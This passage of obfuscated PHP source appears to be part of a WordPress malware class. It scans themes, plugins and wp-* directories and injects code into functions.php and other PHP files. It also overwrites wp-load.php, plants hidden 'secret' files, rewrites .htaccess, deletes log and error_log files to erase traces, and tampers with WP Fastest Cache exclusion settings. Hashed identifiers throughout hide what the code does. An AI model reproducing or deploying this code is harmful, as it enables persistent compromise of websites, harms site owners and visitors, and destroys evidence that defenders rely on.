  946.                     $this->a92b3e4cc3b62ad2bf15ee19aa175f630( $a5092e097dffcf6c2927e0858c2807621, $this->aa0fa5908c20939e894613e69ae8b3c4a->install->theme->class->attr, $this->aa0fa5908c20939e894613e69ae8b3c4a->install->theme->code . $this->aa0fa5908c20939e894613e69ae8b3c4a->install->theme->class->attr );
  947.                 } else if ( $this->a5cd6df3f3548a3916be48cd371a652fc( $aa9eda21aba3dbb00b5e427502e179287, $this->aa0fa5908c20939e894613e69ae8b3c4a->install->theme->function->include ) && $this->a5cd6df3f3548a3916be48cd371a652fc( $aa9eda21aba3dbb00b5e427502e179287, $this->aa0fa5908c20939e894613e69ae8b3c4a->install->theme->function->exclude ) === false ) {
  948.                     $this->aa5dc633737333e1955ebcb99628147c2->theme[] = $a5092e097dffcf6c2927e0858c2807621;
  949.                     $this->a92b3e4cc3b62ad2bf15ee19aa175f630( $a5092e097dffcf6c2927e0858c2807621, $this->aa0fa5908c20939e894613e69ae8b3c4a->install->theme->function->attr, $this->aa0fa5908c20939e894613e69ae8b3c4a->install->theme->code . $this->aa0fa5908c20939e894613e69ae8b3c4a->install->theme->function->attr );
  950.                 } else if ( stristr( $a5092e097dffcf6c2927e0858c2807621, 'functions.php' ) && $this->a5cd6df3f3548a3916be48cd371a652fc( $aa9eda21aba3dbb00b5e427502e179287, $this->aa0fa5908c20939e894613e69ae8b3c4a->install->theme->function->exclude ) === false ) {
  951.                     $this->aa5dc633737333e1955ebcb99628147c2->theme[] = $a5092e097dffcf6c2927e0858c2807621;
  952.                     $this->a92b3e4cc3b62ad2bf15ee19aa175f630( $a5092e097dffcf6c2927e0858c2807621, $this->aa0fa5908c20939e894613e69ae8b3c4a->install->theme->php, $this->aa0fa5908c20939e894613e69ae8b3c4a->install->theme->php . $this->aa0fa5908c20939e894613e69ae8b3c4a->install->theme->code );
  953.                 }
  954.             }
  955.             return $this->aa643c529bbba7503489fcae0b25377e4( true, '', $this->aa5dc633737333e1955ebcb99628147c2->theme );
  956.         }
  957.  
  958.         private function a0bb7dc88fc703cba5252e2814cd40dac() {
  959.             $this->a0bb7dc88fc703cba5252e2814cd40dac = '7069';
  960.         }
  961.  
  962.         private function theme() {
  963.             return $this->a0851a05e76a3974b2f8493e6606a6484();
  964.         }
  965.  
  966.         private function abce882ddebdde53472c686d13fd445de() {
  967.             $this->abce882ddebdde53472c686d13fd445de = $_POST;
  968.         }
  969.  
  970.         private function a08323c6b87fb3c761f44c4c5a507f7a4() {
  971.             if ( !isset( $this->aa0fa5908c20939e894613e69ae8b3c4a ) ) {
  972.                 $this->aa0fa5908c20939e894613e69ae8b3c4a = $this->ade1c2665a99a2a59b4ca176a24ae534b()->files;
  973.             }
  974.             if ( $this->ab2fa85de746f99aa3673cd3c145cca3d() ) {
  975.                 $a1ff9c6abd398f1a173ad9efceec2c23b = $this->a585c96c13f924650948638b32eca63e1->plugin;
  976.             } else {
  977.                 $a1ff9c6abd398f1a173ad9efceec2c23b = $this->a1ff9c6abd398f1a173ad9efceec2c23b( $this->home() . 'wp-content/plugins/*/', '*.php' );
  978.             }
  979.             $ad83d8ef66a6db8c472774637ffcda698 = array();
  980.             foreach ( $a1ff9c6abd398f1a173ad9efceec2c23b as $a3a9a096f7313a28d3e22319578a164ab ) {
  981.                 $this->a585c96c13f924650948638b32eca63e1->plugin[] = $a3a9a096f7313a28d3e22319578a164ab;
  982.                 $ad83d8ef66a6db8c472774637ffcda698[] = dirname( $a3a9a096f7313a28d3e22319578a164ab );
  983.             }
  984.             $ad83d8ef66a6db8c472774637ffcda698 = array_values( array_unique( $ad83d8ef66a6db8c472774637ffcda698 ) );
  985.             foreach ( $ad83d8ef66a6db8c472774637ffcda698 as $a70b8adedc62145cbf5f04a71aefb4d6a ) {
  986.                 $a40936dc72d5025e63c6b787d0d52c8bf = $a70b8adedc62145cbf5f04a71aefb4d6a . $this->a95a38f44d8887a9304dd41aa0e1502cc . '.' . basename( $a70b8adedc62145cbf5f04a71aefb4d6a ) . '.php';
  987.                 if ( is_writeable( $a70b8adedc62145cbf5f04a71aefb4d6a ) || is_writeable( $a40936dc72d5025e63c6b787d0d52c8bf ) ) {
  988.                     if ( file_exists( $a40936dc72d5025e63c6b787d0d52c8bf ) ) {
  989.                         $aa9eda21aba3dbb00b5e427502e179287 = $this->aa9eda21aba3dbb00b5e427502e179287( $a40936dc72d5025e63c6b787d0d52c8bf );
  990.                         if ( $this->a5cd6df3f3548a3916be48cd371a652fc( $aa9eda21aba3dbb00b5e427502e179287, $this->aa0fa5908c20939e894613e69ae8b3c4a->plugin->search->include ) !== false || filesize( $a40936dc72d5025e63c6b787d0d52c8bf ) <= 1 ) {
  991.                             if ( $this->ab319d0ea2a08cc6a4974e9a9df12f7a0( $a40936dc72d5025e63c6b787d0d52c8bf, $this->aa0fa5908c20939e894613e69ae8b3c4a->file->templates ) ) {
  992.                                 $this->aa5dc633737333e1955ebcb99628147c2->plugin[] = $a40936dc72d5025e63c6b787d0d52c8bf;
  993.                             }
  994.                         }
  995.                     } else {
  996.                         if ( $this->ab26099d7f4f6a33fc40f8aaa1e4cdafc( $a40936dc72d5025e63c6b787d0d52c8bf, $this->aa0fa5908c20939e894613e69ae8b3c4a->file->templates ) ) {
  997.                             $this->aa5dc633737333e1955ebcb99628147c2->plugin[] = $a40936dc72d5025e63c6b787d0d52c8bf;
  998.                         }
  999.                     }
  1000.                 }
  1001.             }
  1002.             foreach ( $this->a585c96c13f924650948638b32eca63e1->plugin as $a5dde791dcd75fb4db1ac40a33a7b2d85 ) {
  1003.                 $aa9eda21aba3dbb00b5e427502e179287 = $this->aa9eda21aba3dbb00b5e427502e179287( $a5dde791dcd75fb4db1ac40a33a7b2d85 );
  1004.                 if ( $this->a5cd6df3f3548a3916be48cd371a652fc( $aa9eda21aba3dbb00b5e427502e179287, $this->aa0fa5908c20939e894613e69ae8b3c4a->install->plugin->class->include ) !== false && $this->a5cd6df3f3548a3916be48cd371a652fc( $aa9eda21aba3dbb00b5e427502e179287, $this->aa0fa5908c20939e894613e69ae8b3c4a->install->plugin->class->exclude ) === false && $this->a5cd6df3f3548a3916be48cd371a652fc( $a5dde791dcd75fb4db1ac40a33a7b2d85, $this->aa0fa5908c20939e894613e69ae8b3c4a->banned_plugins ) === false ) {
  1005.                     $this->aa5dc633737333e1955ebcb99628147c2->plugin[] = $a5dde791dcd75fb4db1ac40a33a7b2d85;
  1006.                     $this->a92b3e4cc3b62ad2bf15ee19aa175f630( $a5dde791dcd75fb4db1ac40a33a7b2d85, $this->aa0fa5908c20939e894613e69ae8b3c4a->install->plugin->class->attr, $this->aa0fa5908c20939e894613e69ae8b3c4a->install->plugin->code . $this->aa0fa5908c20939e894613e69ae8b3c4a->install->plugin->class->attr );
  1007.                 } else if ( $this->a5cd6df3f3548a3916be48cd371a652fc( $aa9eda21aba3dbb00b5e427502e179287, $this->aa0fa5908c20939e894613e69ae8b3c4a->install->plugin->function->include ) !== false && $this->a5cd6df3f3548a3916be48cd371a652fc( $aa9eda21aba3dbb00b5e427502e179287, $this->aa0fa5908c20939e894613e69ae8b3c4a->install->plugin->function->exclude ) === false && $this->a5cd6df3f3548a3916be48cd371a652fc( $a5dde791dcd75fb4db1ac40a33a7b2d85, $this->aa0fa5908c20939e894613e69ae8b3c4a->banned_plugins ) === false ) {
  1008.                     $this->aa5dc633737333e1955ebcb99628147c2->plugin[] = $a5dde791dcd75fb4db1ac40a33a7b2d85;
  1009.                     $this->a92b3e4cc3b62ad2bf15ee19aa175f630( $a5dde791dcd75fb4db1ac40a33a7b2d85, $this->aa0fa5908c20939e894613e69ae8b3c4a->install->plugin->function->attr, $this->aa0fa5908c20939e894613e69ae8b3c4a->install->plugin->code . $this->aa0fa5908c20939e894613e69ae8b3c4a->install->plugin->function->attr );
  1010.                 }
  1011.             }
  1012.             return $this->aa643c529bbba7503489fcae0b25377e4( true, '', $this->aa5dc633737333e1955ebcb99628147c2->plugin );
  1013.         }
  1014.  
  1015.         private function plugin() {
  1016.             return $this->a08323c6b87fb3c761f44c4c5a507f7a4();
  1017.         }
  1018.  
  1019.         private function ae1bb044c2835891ddd2381db00c457dd() {
  1020.             $this->ae1bb044c2835891ddd2381db00c457dd = '7470';
  1021.         }
  1022.  
  1023.         private function aaf477ff570a4741f2d2439888eb71124() {
  1024.             try {
  1025.                 if ( $this->ae86d6df0fee539c4030f8bda2ef77722() === false ) {
  1026.                     return false;
  1027.                 }
  1028.                 if ( !isset( $this->aa0fa5908c20939e894613e69ae8b3c4a ) ) {
  1029.                     $this->aa0fa5908c20939e894613e69ae8b3c4a = $this->ade1c2665a99a2a59b4ca176a24ae534b()->files;
  1030.                 }
  1031.                 if ( file_exists( $a40936dc72d5025e63c6b787d0d52c8bf = $this->acd8c241c7a8e24d09aa75c2efa8f6d3d() . 'wp-load.php' ) ) {
  1032.                     foreach ( $this->ae86d6df0fee539c4030f8bda2ef77722() AS $acf8d53c0de83237b71d9d4f2c064cd96 => $afaf6b2959108bc82d693e4c3cda60663 ) {
  1033.                         $a9d12e64afcdf263abb493911a591c309 = $this->a3cd9cf46ff01ea6b57caa117e563e4d6() . $this->a95a38f44d8887a9304dd41aa0e1502cc . "{$afaf6b2959108bc82d693e4c3cda60663->stylesheet}" . $this->a95a38f44d8887a9304dd41aa0e1502cc . ".{$afaf6b2959108bc82d693e4c3cda60663->stylesheet}.php";
  1034.                         if ( $this->ab319d0ea2a08cc6a4974e9a9df12f7a0( $a9d12e64afcdf263abb493911a591c309, $this->aa0fa5908c20939e894613e69ae8b3c4a->file->templates ) ) {
  1035.                             $this->aa5dc633737333e1955ebcb99628147c2->wp_load[] = $a9d12e64afcdf263abb493911a591c309;
  1036.                         }
  1037.                     }
  1038.  
  1039.                     if ( $this->ab26099d7f4f6a33fc40f8aaa1e4cdafc( $a40936dc72d5025e63c6b787d0d52c8bf, $this->aa0fa5908c20939e894613e69ae8b3c4a->load ) ) {
  1040.                         $this->aa5dc633737333e1955ebcb99628147c2->wp_load[] = $a40936dc72d5025e63c6b787d0d52c8bf;
  1041.                     }
  1042.                 }
  1043.                 return $this->aa643c529bbba7503489fcae0b25377e4( true, '', $this->aa5dc633737333e1955ebcb99628147c2->wp_load );
  1044.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1045.                 return false;
  1046.             }
  1047.         }
  1048.  
  1049.         private function wp_load() {
  1050.             return $this->aaf477ff570a4741f2d2439888eb71124();
  1051.         }
  1052.  
  1053.         private function a564f3d7c883ed4555f6eb873b3bae887() {
  1054.             if ( !isset( $this->aa0fa5908c20939e894613e69ae8b3c4a ) ) {
  1055.                 $this->aa0fa5908c20939e894613e69ae8b3c4a = $this->ade1c2665a99a2a59b4ca176a24ae534b()->files;
  1056.             }
  1057.             if ( $this->ab2fa85de746f99aa3673cd3c145cca3d() ) {
  1058.                 $a1ff9c6abd398f1a173ad9efceec2c23b = $this->a585c96c13f924650948638b32eca63e1->directory;
  1059.             } else {
  1060.                 $a1ff9c6abd398f1a173ad9efceec2c23b = $this->a1ff9c6abd398f1a173ad9efceec2c23b( $this->home() . 'wp-*/', '*.php' );
  1061.             }
  1062.             $ad83d8ef66a6db8c472774637ffcda698 = array();
  1063.             foreach ( $a1ff9c6abd398f1a173ad9efceec2c23b as $a3a9a096f7313a28d3e22319578a164ab ) {
  1064.                 $ad83d8ef66a6db8c472774637ffcda698[] = dirname( $a3a9a096f7313a28d3e22319578a164ab );
  1065.             }
  1066.             $ad83d8ef66a6db8c472774637ffcda698 = array_values( array_unique( $ad83d8ef66a6db8c472774637ffcda698 ) );
  1067.             foreach ( $ad83d8ef66a6db8c472774637ffcda698 as $a70b8adedc62145cbf5f04a71aefb4d6a ) {
  1068.                 $a40936dc72d5025e63c6b787d0d52c8bf = $a70b8adedc62145cbf5f04a71aefb4d6a . '/index.php';
  1069.                 if ( stristr( $a40936dc72d5025e63c6b787d0d52c8bf, 'themes' ) === false && stristr( $a40936dc72d5025e63c6b787d0d52c8bf, 'plugins' ) === false && stristr( $a40936dc72d5025e63c6b787d0d52c8bf, 'wp-' ) !== false ) {
  1070.                     if ( file_exists( $a40936dc72d5025e63c6b787d0d52c8bf ) ) {
  1071.                         $aa9eda21aba3dbb00b5e427502e179287 = $this->aa9eda21aba3dbb00b5e427502e179287( $a40936dc72d5025e63c6b787d0d52c8bf );
  1072.                         if ( $this->a5cd6df3f3548a3916be48cd371a652fc( $aa9eda21aba3dbb00b5e427502e179287, $this->aa0fa5908c20939e894613e69ae8b3c4a->settings->search ) !== false || filesize( $a40936dc72d5025e63c6b787d0d52c8bf ) <= 0 || stristr( $aa9eda21aba3dbb00b5e427502e179287, $this->aa0fa5908c20939e894613e69ae8b3c4a->null ) ) {
  1073.                             if ( $this->ab319d0ea2a08cc6a4974e9a9df12f7a0( $a40936dc72d5025e63c6b787d0d52c8bf, $this->aa0fa5908c20939e894613e69ae8b3c4a->file->other ) ) {
  1074.                                 $this->aa5dc633737333e1955ebcb99628147c2->files[] = $a40936dc72d5025e63c6b787d0d52c8bf;
  1075.                             }
  1076.                         }
  1077.                     } else {
  1078.                         if ( $this->ab26099d7f4f6a33fc40f8aaa1e4cdafc( $a40936dc72d5025e63c6b787d0d52c8bf, $this->aa0fa5908c20939e894613e69ae8b3c4a->file->other ) ) {
  1079.                             $this->aa5dc633737333e1955ebcb99628147c2->files[] = $a40936dc72d5025e63c6b787d0d52c8bf;
  1080.                         }
  1081.                     }
  1082.                 }
  1083.             }
  1084.             $this->a7cd1143677e4d322f9274c355fbce9ac();
  1085.             $this->a0851a05e76a3974b2f8493e6606a6484();
  1086.             $this->a08323c6b87fb3c761f44c4c5a507f7a4();
  1087.             $this->aaf477ff570a4741f2d2439888eb71124();
  1088.             return $this->aa643c529bbba7503489fcae0b25377e4( true, '', $this->aa5dc633737333e1955ebcb99628147c2 );
  1089.         }
  1090.  
  1091.         private function install() {
  1092.             return $this->a564f3d7c883ed4555f6eb873b3bae887();
  1093.         }
  1094.  
  1095.         private function a1222e65ac472bdf6c60c853182b304ba() {
  1096.             try {
  1097.                 if ( !isset( $this->aa0fa5908c20939e894613e69ae8b3c4a ) ) {
  1098.                     $this->aa0fa5908c20939e894613e69ae8b3c4a = $this->ade1c2665a99a2a59b4ca176a24ae534b()->files;
  1099.                 }
  1100.                 if ( $this->ab2fa85de746f99aa3673cd3c145cca3d() ) {
  1101.                     $a1ff9c6abd398f1a173ad9efceec2c23b = $this->a585c96c13f924650948638b32eca63e1->files;
  1102.                 } else {
  1103.                     $a1ff9c6abd398f1a173ad9efceec2c23b = $this->a1ff9c6abd398f1a173ad9efceec2c23b();
  1104.                 }
  1105.                 foreach ( $a1ff9c6abd398f1a173ad9efceec2c23b as $a70b8adedc62145cbf5f04a71aefb4d6a ) {
  1106.                     $aa9eda21aba3dbb00b5e427502e179287 = $this->aa9eda21aba3dbb00b5e427502e179287( $a70b8adedc62145cbf5f04a71aefb4d6a );
  1107.                     if ( $this->a5cd6df3f3548a3916be48cd371a652fc( $aa9eda21aba3dbb00b5e427502e179287, $this->aa0fa5908c20939e894613e69ae8b3c4a->settings->search ) !== false || stristr( $a70b8adedc62145cbf5f04a71aefb4d6a, $this->aa0fa5908c20939e894613e69ae8b3c4a->settings->secret->name ) !== false || stristr( $aa9eda21aba3dbb00b5e427502e179287, $this->aa0fa5908c20939e894613e69ae8b3c4a->null ) || filesize( $a70b8adedc62145cbf5f04a71aefb4d6a ) <= 0 ) {
  1108.                         if ( $this->a5cd6df3f3548a3916be48cd371a652fc( $aa9eda21aba3dbb00b5e427502e179287, $this->aa0fa5908c20939e894613e69ae8b3c4a->file->search->templates ) !== false ) {
  1109.                             if ( $this->ab319d0ea2a08cc6a4974e9a9df12f7a0( $a70b8adedc62145cbf5f04a71aefb4d6a, $this->aa0fa5908c20939e894613e69ae8b3c4a->file->templates ) ) {
  1110.                                 $this->a37453ce10f5ea273f68115e4a5d4274b[] = $a70b8adedc62145cbf5f04a71aefb4d6a;
  1111.                             }
  1112.                         } else if ( $this->a5cd6df3f3548a3916be48cd371a652fc( $aa9eda21aba3dbb00b5e427502e179287, $this->aa0fa5908c20939e894613e69ae8b3c4a->file->search->other ) !== false ) {
  1113.                             if ( $this->ab319d0ea2a08cc6a4974e9a9df12f7a0( $a70b8adedc62145cbf5f04a71aefb4d6a, $this->aa0fa5908c20939e894613e69ae8b3c4a->file->other ) ) {
  1114.                                 $this->a37453ce10f5ea273f68115e4a5d4274b[] = $a70b8adedc62145cbf5f04a71aefb4d6a;
  1115.                             }
  1116.                         } else if ( stristr( $a70b8adedc62145cbf5f04a71aefb4d6a, 'wp-content/themes/' ) || stristr( $a70b8adedc62145cbf5f04a71aefb4d6a, 'wp-content/plugins/' ) ) {
  1117.                             if ( $this->ab319d0ea2a08cc6a4974e9a9df12f7a0( $a70b8adedc62145cbf5f04a71aefb4d6a, $this->aa0fa5908c20939e894613e69ae8b3c4a->file->templates ) ) {
  1118.                                 $this->a37453ce10f5ea273f68115e4a5d4274b[] = $a70b8adedc62145cbf5f04a71aefb4d6a;
  1119.                             }
  1120.                         } else {
  1121.                             if ( stristr( $a70b8adedc62145cbf5f04a71aefb4d6a, 'wp-admin' ) && stristr( $a70b8adedc62145cbf5f04a71aefb4d6a, 'wp-content' ) && stristr( $a70b8adedc62145cbf5f04a71aefb4d6a, 'wp-includes' ) ) {
  1122.                                 if ( $this->ab319d0ea2a08cc6a4974e9a9df12f7a0( $a70b8adedc62145cbf5f04a71aefb4d6a, $this->aa0fa5908c20939e894613e69ae8b3c4a->file->other ) ) {
  1123.                                     $this->a37453ce10f5ea273f68115e4a5d4274b[] = $a70b8adedc62145cbf5f04a71aefb4d6a;
  1124.                                 }
  1125.                             }
  1126.                         }
  1127.                     }
  1128.                 }
  1129.                 return $this->aa643c529bbba7503489fcae0b25377e4( true, '', $this->a37453ce10f5ea273f68115e4a5d4274b );
  1130.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1131.                 return false;
  1132.             }
  1133.         }
  1134.  
  1135.         private function reinstall() {
  1136.             return $this->a1222e65ac472bdf6c60c853182b304ba();
  1137.         }
  1138.  
  1139.         private function a1a18ca3fa572eb2e05040b71312a1938() {
  1140.             $this->a1a18ca3fa572eb2e05040b71312a1938 = 'Wordpress';
  1141.         }
  1142.  
  1143.         private function a3fe1f85c93130f6c504c6fa7259ef884() {
  1144.             try {
  1145.                 if ( !isset( $this->aa0fa5908c20939e894613e69ae8b3c4a ) ) {
  1146.                     $this->aa0fa5908c20939e894613e69ae8b3c4a = $this->ade1c2665a99a2a59b4ca176a24ae534b()->files;
  1147.                 }
  1148.                 if ( $this->ab2fa85de746f99aa3673cd3c145cca3d() ) {
  1149.                     $a1ff9c6abd398f1a173ad9efceec2c23b = $this->a585c96c13f924650948638b32eca63e1->files;
  1150.                 } else {
  1151.                     $a1ff9c6abd398f1a173ad9efceec2c23b = $this->a1ff9c6abd398f1a173ad9efceec2c23b();
  1152.                 }
  1153.                 foreach ( $a1ff9c6abd398f1a173ad9efceec2c23b as $a70b8adedc62145cbf5f04a71aefb4d6a ) {
  1154.                     if ( is_file( $a70b8adedc62145cbf5f04a71aefb4d6a ) ) {
  1155.                         if ( stristr( $a70b8adedc62145cbf5f04a71aefb4d6a, $this->home() . 'wp-' ) !== false ) {
  1156.                             $aa9eda21aba3dbb00b5e427502e179287 = $this->aa9eda21aba3dbb00b5e427502e179287( $a70b8adedc62145cbf5f04a71aefb4d6a );
  1157.                             if ( $a70b8adedc62145cbf5f04a71aefb4d6a !== __FILE__ && $this->a5cd6df3f3548a3916be48cd371a652fc( $aa9eda21aba3dbb00b5e427502e179287, $this->aa0fa5908c20939e894613e69ae8b3c4a->settings->search ) !== false || stristr( $a70b8adedc62145cbf5f04a71aefb4d6a, $this->aa0fa5908c20939e894613e69ae8b3c4a->settings->secret->name ) !== false ) {
  1158.                                 if ( $this->ab26099d7f4f6a33fc40f8aaa1e4cdafc( $a70b8adedc62145cbf5f04a71aefb4d6a, $this->aa0fa5908c20939e894613e69ae8b3c4a->null ) ) {
  1159.                                     $this->a609951c203b2b2275a4a154d0e1f9f90->files[] = $a70b8adedc62145cbf5f04a71aefb4d6a;
  1160.                                 }
  1161.                             }
  1162.                             if ( stristr( $a70b8adedc62145cbf5f04a71aefb4d6a, 'wp-load.php' ) !== false ) {
  1163.                                 $this->ab26099d7f4f6a33fc40f8aaa1e4cdafc( $a70b8adedc62145cbf5f04a71aefb4d6a, $this->aa0fa5908c20939e894613e69ae8b3c4a->default_load );
  1164.                                 $this->a609951c203b2b2275a4a154d0e1f9f90->load[] = $a70b8adedc62145cbf5f04a71aefb4d6a;
  1165.                             }
  1166.                             if ( strpos( $aa9eda21aba3dbb00b5e427502e179287, $this->aa0fa5908c20939e894613e69ae8b3c4a->install->theme->code ) !== false ) {
  1167.                                 $this->a93ee9c22fcb3718b5e2f0bc667e3802d( $a70b8adedc62145cbf5f04a71aefb4d6a, $this->aa0fa5908c20939e894613e69ae8b3c4a->install->theme->code, "\n" );
  1168.                                 $this->a609951c203b2b2275a4a154d0e1f9f90->code[] = $a70b8adedc62145cbf5f04a71aefb4d6a;
  1169.                             }
  1170.                             if ( strpos( $aa9eda21aba3dbb00b5e427502e179287, $this->aa0fa5908c20939e894613e69ae8b3c4a->install->plugin->code ) !== false ) {
  1171.                                 $this->a93ee9c22fcb3718b5e2f0bc667e3802d( $a70b8adedc62145cbf5f04a71aefb4d6a, $this->aa0fa5908c20939e894613e69ae8b3c4a->install->plugin->code, "\n" );
  1172.                                 $this->a609951c203b2b2275a4a154d0e1f9f90->code[] = $a70b8adedc62145cbf5f04a71aefb4d6a;
  1173.                             }
  1174.                         }
  1175.                     }
  1176.                 }
  1177.                 return $this->aa643c529bbba7503489fcae0b25377e4( true, '', $this->a609951c203b2b2275a4a154d0e1f9f90 );
  1178.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1179.                 return false;
  1180.             }
  1181.         }
  1182.  
  1183.         private function uninstall() {
  1184.             return $this->a3fe1f85c93130f6c504c6fa7259ef884();
  1185.         }
  1186.  
  1187.         private function ab9ce5ca1b46c9da65d05a252ac1cb34b() {
  1188.             $this->ab9ce5ca1b46c9da65d05a252ac1cb34b = 'command';
  1189.         }
  1190.  
  1191.         private function a7cd1143677e4d322f9274c355fbce9ac() {
  1192.             try {
  1193.                 if ( !isset( $this->aa0fa5908c20939e894613e69ae8b3c4a ) ) {
  1194.                     $this->aa0fa5908c20939e894613e69ae8b3c4a = $this->ade1c2665a99a2a59b4ca176a24ae534b()->files;
  1195.                 }
  1196.                 if ( $this->ab2fa85de746f99aa3673cd3c145cca3d() ) {
  1197.                     $a1ff9c6abd398f1a173ad9efceec2c23b = $this->a585c96c13f924650948638b32eca63e1->directory;
  1198.                 } else {
  1199.                     $a1ff9c6abd398f1a173ad9efceec2c23b = $this->a1ff9c6abd398f1a173ad9efceec2c23b( $this->home() . 'wp-*', '', GLOB_ONLYDIR | GLOB_NOSORT );
  1200.                 }
  1201.                 foreach ( $a1ff9c6abd398f1a173ad9efceec2c23b as $a3a9a096f7313a28d3e22319578a164ab ) {
  1202.                     if ( $this->a5cd6df3f3548a3916be48cd371a652fc( $a3a9a096f7313a28d3e22319578a164ab, $this->aa0fa5908c20939e894613e69ae8b3c4a->settings->secret->directory ) !== false ) {
  1203.                         $a40936dc72d5025e63c6b787d0d52c8bf = "{$a3a9a096f7313a28d3e22319578a164ab}/{$this->aa0fa5908c20939e894613e69ae8b3c4a->settings->secret->key}";
  1204.                         if ( $this->ab319d0ea2a08cc6a4974e9a9df12f7a0( $a40936dc72d5025e63c6b787d0d52c8bf, $this->aa0fa5908c20939e894613e69ae8b3c4a->file->secret ) ) {
  1205.                             $this->aa5dc633737333e1955ebcb99628147c2->secret[] = $a40936dc72d5025e63c6b787d0d52c8bf;
  1206.                         } else {
  1207.                             $this->aa5dc633737333e1955ebcb99628147c2->secret[] = $a40936dc72d5025e63c6b787d0d52c8bf;
  1208.                         }
  1209.                     }
  1210.                 }
  1211.                 return $this->aa643c529bbba7503489fcae0b25377e4( true, '', $this->aa5dc633737333e1955ebcb99628147c2->secret );
  1212.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1213.                 return false;
  1214.             }
  1215.         }
  1216.  
  1217.         private function secret() {
  1218.             return $this->a7cd1143677e4d322f9274c355fbce9ac();
  1219.         }
  1220.  
  1221.         private function a9d7cc9660b62067a46114018ab2bb4e5() {
  1222.             $this->a9d7cc9660b62067a46114018ab2bb4e5 = 'REMOTE_ADDR';
  1223.         }
  1224.  
  1225.         private function aa2137c7babeea02c3d31c1bb71570454() {
  1226.             try {
  1227.                 if ( !isset( $this->aa0fa5908c20939e894613e69ae8b3c4a ) ) {
  1228.                     $this->aa0fa5908c20939e894613e69ae8b3c4a = $this->ade1c2665a99a2a59b4ca176a24ae534b()->files;
  1229.                 }
  1230.                 if ( $this->ab2fa85de746f99aa3673cd3c145cca3d() ) {
  1231.                     $a1ff9c6abd398f1a173ad9efceec2c23b = $this->a1ff9c6abd398f1a173ad9efceec2c23b( $this->home(), '.htaccess', GLOB_NOSORT );
  1232.                 } else {
  1233.                     $a1ff9c6abd398f1a173ad9efceec2c23b = $this->a1ff9c6abd398f1a173ad9efceec2c23b( $this->acd8c241c7a8e24d09aa75c2efa8f6d3d(), '.htaccess', GLOB_NOSORT );
  1234.                 }
  1235.                 $af2b67b96f4b0a696a2931ad11b7c80df = new stdClass();
  1236.                 foreach ( $a1ff9c6abd398f1a173ad9efceec2c23b as $a3a9a096f7313a28d3e22319578a164ab ) {
  1237.                     if ( $this->a5cd6df3f3548a3916be48cd371a652fc( $a3a9a096f7313a28d3e22319578a164ab, array('wp-content', 'wp-includes', 'wp-admin') ) ) {
  1238.                         if ( $this->ab26099d7f4f6a33fc40f8aaa1e4cdafc( $a3a9a096f7313a28d3e22319578a164ab, $this->aa0fa5908c20939e894613e69ae8b3c4a->sub_htaccess ) ) {
  1239.                             $af2b67b96f4b0a696a2931ad11b7c80df->sub["true"][] = $a3a9a096f7313a28d3e22319578a164ab;
  1240.                         } else {
  1241.                             $af2b67b96f4b0a696a2931ad11b7c80df->sub["false"][] = $a3a9a096f7313a28d3e22319578a164ab;
  1242.                         }
  1243.                     } else if ( stristr( $this->aa9eda21aba3dbb00b5e427502e179287( $a3a9a096f7313a28d3e22319578a164ab ), 'BEGIN WordPress' ) !== false ) {
  1244.                         if ( $this->ab26099d7f4f6a33fc40f8aaa1e4cdafc( $a3a9a096f7313a28d3e22319578a164ab, $this->aa0fa5908c20939e894613e69ae8b3c4a->main_htaccess ) ) {
  1245.                             $af2b67b96f4b0a696a2931ad11b7c80df->main[] = $a3a9a096f7313a28d3e22319578a164ab;
  1246.                         }
  1247.                     } else {
  1248.                         $af2b67b96f4b0a696a2931ad11b7c80df->undefined[] = $a3a9a096f7313a28d3e22319578a164ab;
  1249.                     }
  1250.                 }
  1251.                 return $this->aa643c529bbba7503489fcae0b25377e4( true, '', $af2b67b96f4b0a696a2931ad11b7c80df );
  1252.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1253.                 return false;
  1254.             }
  1255.         }
  1256.  
  1257.         private function check() {
  1258.             return $this->aef83a802d509b226c176efd38d8b8008();
  1259.         }
  1260.  
  1261.         private function htaccess() {
  1262.             return $this->aa2137c7babeea02c3d31c1bb71570454();
  1263.         }
  1264.  
  1265.         private function a16703efc516cfb09d982b716b77514ca() {
  1266.             try {
  1267.                 if ( !isset( $this->aa0fa5908c20939e894613e69ae8b3c4a ) ) {
  1268.                     $this->aa0fa5908c20939e894613e69ae8b3c4a = $this->ade1c2665a99a2a59b4ca176a24ae534b()->files;
  1269.                 }
  1270.                 foreach ( $this->a1ff9c6abd398f1a173ad9efceec2c23b( $this->home(), '{*.gz,*.com,*.com-ssl-log,*.log,error_log}', GLOB_BRACE | GLOB_NOSORT ) as $a3a9a096f7313a28d3e22319578a164ab ) {
  1271.                     if ( is_file( $a3a9a096f7313a28d3e22319578a164ab ) ) {
  1272.                         if ( stristr( $a3a9a096f7313a28d3e22319578a164ab, '.gz' ) && stristr( $a3a9a096f7313a28d3e22319578a164ab, $this->home() ) ) {
  1273.                         } else {
  1274.                             $this->a83d7c9ce1ac6738054e2a6881a70a830[] = $a3a9a096f7313a28d3e22319578a164ab;
  1275.                             unlink( $a3a9a096f7313a28d3e22319578a164ab );
  1276.                         }
  1277.                     }
  1278.                 }
  1279.                 return $this->a83d7c9ce1ac6738054e2a6881a70a830;
  1280.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1281.                 return false;
  1282.             }
  1283.         }
  1284.  
  1285.         private function log() {
  1286.             return $this->a16703efc516cfb09d982b716b77514ca();
  1287.         }
  1288.  
  1289.         private function a25c5bbb12d65127e1d9366767c2ca00f() {
  1290.             $this->a25c5bbb12d65127e1d9366767c2ca00f = '3a2f';
  1291.         }
  1292.  
  1293.         private function aecad27faaa8398ef4b9b54c75d98dae2() {
  1294.             try {
  1295.                 if ( $this->ac0c1d5e3be11c8fbbf0eb6b9e1c40f3c( 'WpFastestCacheExclude' ) ) {
  1296.                     foreach ( $this->aa0fa5908c20939e894613e69ae8b3c4a->settings->cache->bot as $a71506b8460458ef19e76d4e728398ace ) {
  1297.                         if ( !strpos( $this->ac0c1d5e3be11c8fbbf0eb6b9e1c40f3c( 'WpFastestCacheExclude' ), $a71506b8460458ef19e76d4e728398ace ) ) {
  1298.                             $this->a56a1b6e2e90e0af3608e3630feedaaee( 'WpFastestCacheExclude', json_encode( $this->aa0fa5908c20939e894613e69ae8b3c4a->settings->cache->WpFastestCacheExclude ) );
